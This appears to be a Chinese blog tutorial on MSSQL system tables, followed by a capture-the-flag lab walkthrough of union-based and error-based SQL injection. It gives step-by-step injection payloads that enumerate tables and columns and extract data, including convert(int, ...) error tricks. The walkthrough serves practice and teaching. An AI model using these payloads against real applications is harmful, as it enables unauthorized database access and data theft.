1 MSSQL数据库
1.1 概念
MSSQL数据库指的是Microsoft SQL Server(简称MSSQL),它是由微软公司开发的一种关系型数据库管理系统(RDBMS)。SQL Server 使用结构化查询语言 (SQL) 进行数据库管理和操作,是企业级应用广泛使用的一种数据库系统。
1.2 MSSQL系统自带库:
Microsoft SQL Server包含一些系统自带的数据库,用于管理和维护SQL Server实例,例如master、model、tempdb和msdb等。这些数据库存储了SQL Server实例运行所需的元数据和系统信息。
在 SQL Server 中,你可以使用 information_schema来查询数据库的元数据。information_schema 是一个符合 SQL 标准的系统视图集合,用于描述数据库的结构信息。
information_schema.tables 常用列有 table_catalog(数据库名称), table_schema(列所属的架构名称), table_name
information_schema.columns常用列有table_catalog,table_schema, table_name, column_name
显示数据库中的所有表的信息
select * from information_schema.tables;
提供关于数据库中表字段的信息
select * from information_schema.columns;
虽然 information_schema数据库提供了一种标准化的方法来查询元数据,但 SQL Server 也提供了自己的系统视图,如 sys.tables 和 sys.columns。这两者的功能类似,但在某些情况下,sys 视图可能提供更多的 SQL Server 特定的信息。
1.3 与MYSQL系统表查询的区别:
在 MySQL 中,TABLES,COLUMNS 表是 information_schema 数据库中的视图。information_schema 是一个虚拟数据库,用于存储关于其他数据库(包括表、列、数据类型、权限等)的元数据。查询 TABLES,COLUMNS 表时,需要显式指定 information_schema 数据库,因为它不属于任何用户数据库。
在 SQL Server中,sysobjects 表以及其他系统表和视图如 syscolumns 和 sys.columns 并不是专属于系统数据库。它们存在于每个数据库的上下文中,提供该数据库的元数据。因此,当你在任何用户数据库中查询这些表和视图时,只需要在适当的数据库上下文中执行查询,你就能得到当前数据库的对象信息。
显示数据库中的所有表的信息,stype列中S是系统自带数据表,U是用户创建的数据表
select * from sysobjects;
显示关于数据库中表字段的信息
select * from syscolumn;
2 MSSQL 显错注入
db_name() 函数返回当前数据库的名称。
suser_name() 函数返回当前用户的登录名(即数据库登录名)
Sysobjects 查询系统自带表
Syscolumns 字段(id=) 指定系统自带表中的对应ID,查找或过滤特定的列信息。
打开靶场
2.1 判断是否有注入点
试注入 id=1' 页面报错,说明id值为数值类型
注入 id=1 and 1=1 页面显示
注入 id=1 and 1=2 页面报错,综上说明存在SQL注入
2.2 判断字段
注入 id=1 order by 3 页面显示
注入id=1 order by 页面报错,说明页面有三个字段
2.3 查找页面回显点
注入 id=1 union select 1,2,3 页面报错,因为在 SQL Server 中,数据类型的严格性更高。如果字段的数据类型和查询中的值不匹配,会导致错误。
使用null 填充,注入 id=1 union select null,null,null
先测试第一个类型,剩下的填null,通过页面结果判断第一个数据类型是否正确,以此类推得到正确SQL语句输入
注入 id=1 union select 1,null,null 没有报错说明第一个字段是int
注入 id=1 union select 1,2,null 发现报错
尝试字符,注入 id=1 union select 1,'b',null 发现没有报错
注入 id=1 union select 1,'b','c' 进而推出第三个字段
2.4 查找数据表名
id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name()
尝试查找剩下表名
id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name() and table_name<>'flags'
id=1 union select 1,table_name,'c' from information_schema.tables where table_catalog=db_name() and table_name<>'flags' and table_name<>'news'
2.5 查找flags表的字段名
id=1 and 1=2 union select 1,column_name,'c' from information_schema.columns where table_catalog=db_name() and table_name='flags'
2.6 查找flag
id=1 and 1=2 union select 1,'2',flag from flags where table_catalog=db_name()
2.7 得到地址/wobushiflag.php,成功拿到flag
3 也可以使用sysobjects系统表
3.1 查找当前用户自己创建的数据库表名和id(id必须放在第一个显示位,应为其数据类型为int)
id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u'
3.2 查到userinfo表和对应id
id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u' and name<>'news'
3.3 查到flags表和对应id
id=1 and 1=2 union select id ,name,'c' from sysobjects where xtype='u' and name<>'news' and name<>'userinfo'
3.4 查flags表的字段名
id=1 and 1=2 union select 1,name,'c' from syscolumns where id=965578478
3.5 查字段内容
id=1 and 1=2 union select 1,flag,'c' from flags
4 MSSQL报错注入
4.1 convert()函数,CONVERT()函数是把⽇期转换为新数据类型的通⽤函数
id=convert(int,@@version)
对于 convert(int,@@version),convert 函数⾸先会执⾏第⼆个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,⽆法进⾏指定的转换,所以,convert函数会抛出 ⼀个SQL server错误消息,指出“SQL查询结果”⽆法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
进入靶场没有回显点,输入正确错误注入显示都一样,便使用报错注入
4.2 查找当前用户自己创建的数据库表名
id=convert(int,(select name from sysobjects where xtype='u'))
出现报错,原因是输出内容不止一行,在sql serve中不能使用limit 0,1 改用top 1
select top 1 name from sysobjects where xtype='u';
select top 1 name from sysobjects where xtype='u' and name<>'news';
select top 1 name from sysobjects where xtype='u' and name<>'news' and name<>'userinfo';
4.3 查找字段名
id=convert(int,(select top 1 column_name from information_schema.columns where table_catalog=db_name() and table_name='flags'))
4.4 查找输出flag
id=convert(int,(select top 1 flag from flags))
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/mssql-%e6%98%be%e9%94%99%e6%b3%a8%e5%85%a5/
共有 0 条评论